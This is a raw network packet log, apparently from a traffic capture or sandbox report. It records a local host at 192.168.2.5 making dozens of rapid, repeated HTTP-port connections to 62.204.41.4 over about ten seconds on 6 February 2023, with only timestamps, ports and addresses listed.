Feb 6, 2023 14:17:47.707134962 CET	49911	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.708301067 CET	49912	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.768672943 CET	80	49911	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.768711090 CET	80	49912	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.768784046 CET	49911	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.768855095 CET	49912	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.771913052 CET	49912	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.832257032 CET	80	49912	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.835026026 CET	80	49912	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.835329056 CET	49912	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.941709042 CET	49912	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.942975998 CET	49913	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.002264977 CET	80	49912	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.002396107 CET	49912	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.004424095 CET	80	49913	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.004565001 CET	49913	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.004987955 CET	49913	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.066356897 CET	80	49913	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.071654081 CET	80	49913	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.071826935 CET	49913	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.176739931 CET	49913	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.178067923 CET	49914	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.238332987 CET	80	49913	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.238503933 CET	49913	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.240624905 CET	80	49914	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.241142035 CET	49914	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.241764069 CET	49914	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.304311037 CET	80	49914	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.306983948 CET	80	49914	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.307137012 CET	49914	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.420536041 CET	49914	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.420841932 CET	49915	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.481478930 CET	80	49915	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.481595039 CET	49915	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.482167006 CET	49915	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.483175993 CET	80	49914	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.485543966 CET	49914	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.542634010 CET	80	49915	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.547434092 CET	80	49915	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.547576904 CET	49915	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.659480095 CET	49915	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.660254955 CET	49916	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.719942093 CET	80	49916	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.720099926 CET	49916	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.720341921 CET	80	49915	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.720485926 CET	49915	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.720590115 CET	49916	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.780158043 CET	80	49916	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.785530090 CET	80	49916	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.785628080 CET	49916	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.893743992 CET	49916	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.894385099 CET	49917	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.953306913 CET	80	49916	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.953452110 CET	49916	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.954606056 CET	80	49917	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:48.954714060 CET	49917	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:48.955073118 CET	49917	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.015548944 CET	80	49917	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.018578053 CET	80	49917	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.018661976 CET	49917	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.131464005 CET	49917	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.132554054 CET	49918	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.192064047 CET	80	49917	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.192116976 CET	80	49918	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.192272902 CET	49917	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.192331076 CET	49918	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.195230007 CET	49918	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.255217075 CET	80	49918	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.261090040 CET	80	49918	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.261260033 CET	49918	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.378730059 CET	49918	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.380024910 CET	49919	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.438627958 CET	80	49918	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.440347910 CET	49918	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.442559958 CET	80	49919	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.446413040 CET	49919	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.446973085 CET	49919	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.509506941 CET	80	49919	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.513588905 CET	80	49919	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.516170025 CET	49919	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.630614996 CET	49919	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.630621910 CET	49920	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.692488909 CET	80	49920	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.692584991 CET	49920	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.692974091 CET	49920	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.694506884 CET	80	49919	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.694667101 CET	49919	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.753348112 CET	80	49920	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.757086039 CET	80	49920	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.757275105 CET	49920	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.863230944 CET	49920	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.864259958 CET	49921	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.923902035 CET	80	49920	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.924084902 CET	49920	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.924489975 CET	80	49921	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.926399946 CET	49921	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.926933050 CET	49921	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:49.987227917 CET	80	49921	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.994590998 CET	80	49921	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:49.998411894 CET	49921	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.113272905 CET	49921	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.114198923 CET	49922	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.173754930 CET	80	49921	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.174581051 CET	80	49922	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.174712896 CET	49921	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.174777031 CET	49922	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.176453114 CET	49922	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.236998081 CET	80	49922	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.242876053 CET	80	49922	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.243556976 CET	49922	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.347130060 CET	49922	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.348078012 CET	49923	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.407850981 CET	80	49922	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.409780979 CET	80	49923	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.409912109 CET	49922	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.409957886 CET	49923	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.412938118 CET	49923	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.474472046 CET	80	49923	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.478907108 CET	80	49923	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.479051113 CET	49923	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.581688881 CET	49923	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.582591057 CET	49924	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.643372059 CET	80	49923	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.643606901 CET	49923	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.644809008 CET	80	49924	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.645025969 CET	49924	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.645406008 CET	49924	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.707642078 CET	80	49924	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.711787939 CET	80	49924	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.711956978 CET	49924	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.819015980 CET	49924	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.828051090 CET	49925	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.881413937 CET	80	49924	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.881580114 CET	49924	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.889482975 CET	80	49925	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.889698982 CET	49925	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.890187025 CET	49925	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:50.951441050 CET	80	49925	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.955138922 CET	80	49925	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:50.955300093 CET	49925	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.073904037 CET	49925	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.074748993 CET	49926	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.135274887 CET	80	49925	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.135420084 CET	49925	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.136977911 CET	80	49926	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.137094021 CET	49926	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.137579918 CET	49926	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.200948954 CET	80	49926	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.206058979 CET	80	49926	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.206425905 CET	49926	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.365343094 CET	49926	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.366080046 CET	49927	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.427572966 CET	80	49927	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.427716017 CET	80	49926	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.427737951 CET	49927	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.427783012 CET	49926	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.554248095 CET	49927	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.615808964 CET	80	49927	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.619070053 CET	80	49927	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.619268894 CET	49927	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.738435030 CET	49927	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.739223957 CET	49928	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.799611092 CET	80	49928	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.799837112 CET	49928	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.799979925 CET	80	49927	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.800112963 CET	49927	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.819639921 CET	49928	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:51.880291939 CET	80	49928	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.883795023 CET	80	49928	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:51.883899927 CET	49928	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.037024021 CET	49928	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.038729906 CET	49929	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.097630024 CET	80	49928	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:52.097750902 CET	49928	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.100286007 CET	80	49929	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:52.100470066 CET	49929	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.146320105 CET	49929	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.212090015 CET	80	49929	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:52.217864037 CET	80	49929	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:52.218961954 CET	49929	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.382518053 CET	49930	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.382519007 CET	49929	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.442224026 CET	80	49930	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:52.442389965 CET	49930	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:52.444072008 CET	80	49929	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:52.446116924 CET	49929	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.103784084 CET	49930	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.163446903 CET	80	49930	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.168404102 CET	80	49930	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.170490026 CET	49930	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.340254068 CET	49930	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.341177940 CET	49931	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.399980068 CET	80	49930	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.400669098 CET	49930	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.403630018 CET	80	49931	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.404401064 CET	49931	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.428937912 CET	49931	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.491539955 CET	80	49931	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.494733095 CET	80	49931	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.494882107 CET	49931	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.628679037 CET	49931	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.629446983 CET	49932	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.690911055 CET	80	49932	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.691492081 CET	80	49931	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.691616058 CET	49931	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.692349911 CET	49932	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.704513073 CET	49932	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:53.764394045 CET	80	49932	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.767765999 CET	80	49932	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:53.768002033 CET	49932	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.464711905 CET	49933	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.465029955 CET	49932	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.524586916 CET	80	49932	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:54.524801970 CET	49932	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.525281906 CET	80	49933	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:54.525439978 CET	49933	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.746192932 CET	49933	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.806961060 CET	80	49933	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:54.813713074 CET	80	49933	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:54.813795090 CET	49933	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.979055882 CET	49933	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:54.979842901 CET	49934	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.040124893 CET	80	49933	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.040292978 CET	49933	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.042268991 CET	80	49934	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.042422056 CET	49934	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.067276001 CET	49934	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.130013943 CET	80	49934	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.136074066 CET	80	49934	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.136240005 CET	49934	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.297511101 CET	49934	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.298222065 CET	49935	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.358922005 CET	80	49935	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.359101057 CET	49935	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.359900951 CET	80	49934	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.359992981 CET	49934	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.397933006 CET	49935	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.458668947 CET	80	49935	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.461610079 CET	80	49935	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.461781979 CET	49935	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.612915993 CET	49935	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.613979101 CET	49936	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.673680067 CET	80	49935	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.673783064 CET	49935	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.675386906 CET	80	49936	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.675513983 CET	49936	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.677694082 CET	49936	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.739358902 CET	80	49936	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.744800091 CET	80	49936	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.745016098 CET	49936	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.852178097 CET	49937	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.852555990 CET	49936	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.912942886 CET	80	49937	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.913140059 CET	49937	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.913688898 CET	49937	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.913914919 CET	80	49936	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.914104939 CET	49936	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:55.973961115 CET	80	49937	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.976597071 CET	80	49937	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:55.976758003 CET	49937	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.081955910 CET	49937	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.082865953 CET	49938	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.142462015 CET	80	49937	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.142725945 CET	49937	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.145313025 CET	80	49938	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.145493984 CET	49938	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.145927906 CET	49938	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.208209991 CET	80	49938	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.213244915 CET	80	49938	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.213413954 CET	49938	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.317179918 CET	49938	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.318515062 CET	49939	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.379275084 CET	80	49939	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.379487991 CET	49939	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.379523039 CET	80	49938	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.379615068 CET	49938	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.379898071 CET	49939	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.440483093 CET	80	49939	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.443176031 CET	80	49939	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.443332911 CET	49939	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.551317930 CET	49939	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.552283049 CET	49940	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.611931086 CET	80	49939	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.612087965 CET	49939	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.612607002 CET	80	49940	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.612728119 CET	49940	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.613135099 CET	49940	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.673667908 CET	80	49940	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.676527023 CET	80	49940	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.676708937 CET	49940	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.786881924 CET	49940	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.787909031 CET	49941	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.847696066 CET	80	49940	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.847847939 CET	49940	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.849294901 CET	80	49941	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.849706888 CET	49941	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.852297068 CET	49941	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:56.913721085 CET	80	49941	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.916233063 CET	80	49941	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:56.916683912 CET	49941	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.020015001 CET	49941	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.021004915 CET	49942	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.081458092 CET	80	49941	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.082319975 CET	49941	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.083205938 CET	80	49942	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.083365917 CET	49942	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.083817959 CET	49942	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.146070004 CET	80	49942	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.152782917 CET	80	49942	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.152951956 CET	49942	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.282752037 CET	49942	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.283514023 CET	49943	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.343867064 CET	80	49943	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.343964100 CET	49943	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.345042944 CET	80	49942	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.345124960 CET	49942	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.392401934 CET	49943	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.452764988 CET	80	49943	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.457815886 CET	80	49943	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.458025932 CET	49943	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.567167044 CET	49943	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.568051100 CET	49944	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.627631903 CET	80	49943	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.627809048 CET	49943	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.628314972 CET	80	49944	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.628463030 CET	49944	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.633328915 CET	49944	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.693931103 CET	80	49944	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.696747065 CET	80	49944	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.696872950 CET	49944	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.802381992 CET	49944	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.803373098 CET	49945	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.863099098 CET	80	49944	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.863249063 CET	49944	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.865782976 CET	80	49945	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.865914106 CET	49945	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.866705894 CET	49945	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:57.929044008 CET	80	49945	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.932298899 CET	80	49945	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:57.932461023 CET	49945	80	192.168.2.5	62.204.41.4
